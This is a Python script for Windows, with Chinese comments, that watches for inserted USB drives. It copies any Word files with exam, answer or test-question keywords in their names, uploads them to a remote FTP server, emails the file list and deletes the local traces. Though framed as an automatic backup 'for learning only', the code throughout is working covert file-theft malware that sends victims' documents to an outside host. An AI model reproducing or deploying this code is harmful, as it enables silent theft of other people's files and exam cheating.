
#-*- coding: utf-8 -*-
# 不限次数后台自动读取插入U盘，备份U盘指定格式文件到服务器，并将备份的所有文件名发送一封邮件到自己邮箱
# 仅做学习参考
#笔名无香 2018/6/20

import threading
import ctypes
import time
import os
import shutil
import smtplib
from ftplib import FTP
from email.mime.text import MIMEText
old_disk = []
new_disk = []
disk_in = []
disk_out = []
tar = []
def ftpconnect(host, username, password):
    ftp = FTP()
    ftp.connect(host, 21)          #连接，默认21端口
    ftp.login(username, password)  #登录，如果匿名登录则用空串代替即可
    print(ftp.getwelcome())
    return ftp

def downloadfile(ftp, remotepath, localpath):
    bufsize = 1024                #设置缓冲块大小
    fp = open(localpath,'wb')     #以写模式在本地打开文件
    ftp.retrbinary('RETR ' + remotepath, fp.write, bufsize) #接收服务器上文件并写入本地文件
    ftp.set_debuglevel(0)         #关闭调试
    fp.close()                    #关闭文件

def uploadfile(ftp, remotepath, localpath):
    bufsize = 1024
    fp = open(localpath, 'rb')
    ftp.storbinary('STOR '+ remotepath , fp, bufsize) #上传文件
    ftp.set_debuglevel(0)
    fp.close()

def email(content,msg_from,passwd,msg_to):
    msg = MIMEText(content,'plain','utf-8')
    msg['Subject'] = '备份成功'                               #邮件主题
    msg['From'] = msg_from
    msg['To'] = msg_to
    s = smtplib.SMTP_SSL("smtp.qq.com", 465)
    s.login(msg_from, passwd)
    s.sendmail(msg_from, msg_to, msg.as_string())
    print("发送成功")
    s.quit()

def getallpath(root):           # 获取某个目录下的所有文件路径
    path_collection = []
    for dirpath,dirnames,filenames in os.walk(root):
        for file in filenames:
            fullpath = os.path.join(dirpath,file)
            fullpath = os.path.abspath(fullpath)
            path_collection.append(fullpath)
    return path_collection

def copyFile(fFrom,toDir):      # 将某一目录下的文件复制到另一目录下
    if not os.path.isdir(toDir):
        os.makedirs(toDir)
    fTo = toDir+'\\' + os.path.basename(fFrom)
    shutil.copyfile(fFrom,fTo)


def get_free_space(folder):     #输出磁盘大小
        free_bytes = ctypes.c_ulonglong(0)
        ctypes.windll.kernel32.GetDiskFreeSpaceExW(ctypes.c_wchar_p(folder), None, None, ctypes.pointer(free_bytes))
        return free_bytes.value/1024/1024/1024 


def BackUp():
    mateAss = ['.doc','.docx']
    if len(disk_in)==2:
        if get_free_space(disk_in[0]) > get_free_space(disk_in[1]) :   #对于装系统的分区U盘的判断
        	u_path = disk_in[0]
        	print(get_free_space(disk_in[0]))
        else:
        	u_path = disk_in[1]
        	print(get_free_space(disk_in[1]))
    else:
        u_path = disk_in[0]

    print("文件磁盘为:",u_path)
    global log
    log = time.strftime('%Y%b%d_%H_%M_%S', time.localtime())
    while not os.path.exists(u_path):
        pass
    path = getallpath(u_path)
    for oneFile in path:
        exc = os.path.splitext(oneFile)[1]
        if exc in mateAss :
            if '卷' in os.path.splitext(oneFile)[0] or '答案' in os.path.splitext(oneFile)[0] or'试题' in os.path.splitext(oneFile)[0]:
                if os.path.basename(oneFile).startswith('._') or os.path.basename(oneFile).startswith('-.'):# 忽略前为'-.'和'.-'的缓存文件
                    pass
                else:
                    tar.append(oneFile)
    print(len(tar))
    if len(tar) != 0:
        for oneFile in tar:
        	if os.path.exists(u_path):
	            copyFile(oneFile,'C:\\BackUp')
	            print("正在备份数据")
	            with open('C:\\BackUp\\' + log + '.txt','a') as f:
	                f.write(oneFile + '\n')
        print('备份成功')
        return os.listdir('C:\\BackUp')


def push():                     # 上传到服务器
    ftp = ftpconnect(host="*****", username="*******", password="********")
    #host 服务器链接地址 username 登录名 password 密码
    #print(ftp.getwelcome())
    ftp.encoding = 'utf-8'
    new_path = 'U备份'+log
    ftp.mkd(new_path)                 #新建远程目录
    for oneFile in use_file:
        uploadfile(ftp, new_path + '/' + oneFile, 'C:\\BackUp\\' + oneFile)
    print('上传到服务器成功！')
    ftp.quit()
    with open('C:\\BackUp\\' + log + '.txt','r') as f:
        backup_log = f.read(-1)
    shutil.rmtree('C:\\BackUp')     # 删除本地备份
    return backup_log


def detect_usb(old_disk, new_disk):                 # 检测U盘热拔插

    global disk_in, disk_out
    while True:
        if len(old_disk) == 0:
            lpBuffer = ctypes.create_string_buffer(78)
            ctypes.windll.kernel32.GetLogicalDriveStringsA(ctypes.sizeof(lpBuffer), lpBuffer)
            old_disk = lpBuffer.raw.decode('iso-8859-1').replace('\x00','').split('\\')
            new_disk = old_disk

        if len(new_disk) != 0:
            lpBuffer = ctypes.create_string_buffer(78)
            ctypes.windll.kernel32.GetLogicalDriveStringsA(ctypes.sizeof(lpBuffer), lpBuffer)
            new_disk = lpBuffer.raw.decode('iso-8859-1').replace('\x00','').split('\\')				#raw,byte转类型分隔为数组

        disk_in = list(set(new_disk).difference(set(old_disk)))					#求两次的不同即为新U盘；
        disk_out = list(set(old_disk).difference(set(new_disk)))
        if len(disk_in) > 0:
            print ('插入的U盘是: %s' % disk_in)
            old_disk = new_disk
        if len(disk_out) > 0:
            print ('[取出的U盘是: %s' % disk_out)
            old_disk = new_disk
        time.sleep(3)

if __name__ == '__main__':
    disk_handler = threading.Thread(target=detect_usb,args=(old_disk, new_disk))
    disk_handler.start()
    while True:
        if len(disk_in) != 0:
            use_file = BackUp()
            if len(tar) != 0:
                if os.path.exists('C:\\BackUp'):
                    email(content=push(), msg_from='**********', passwd='********', msg_to='*********')
            # msg_from 发送方邮箱 passwd 邮箱授权码 msg_to 接收方邮箱
            disk_in = []
            tar=[]
            print("扫描已结束")
        time.sleep(2)


    
DEMO2 TEST   CHENYUN    
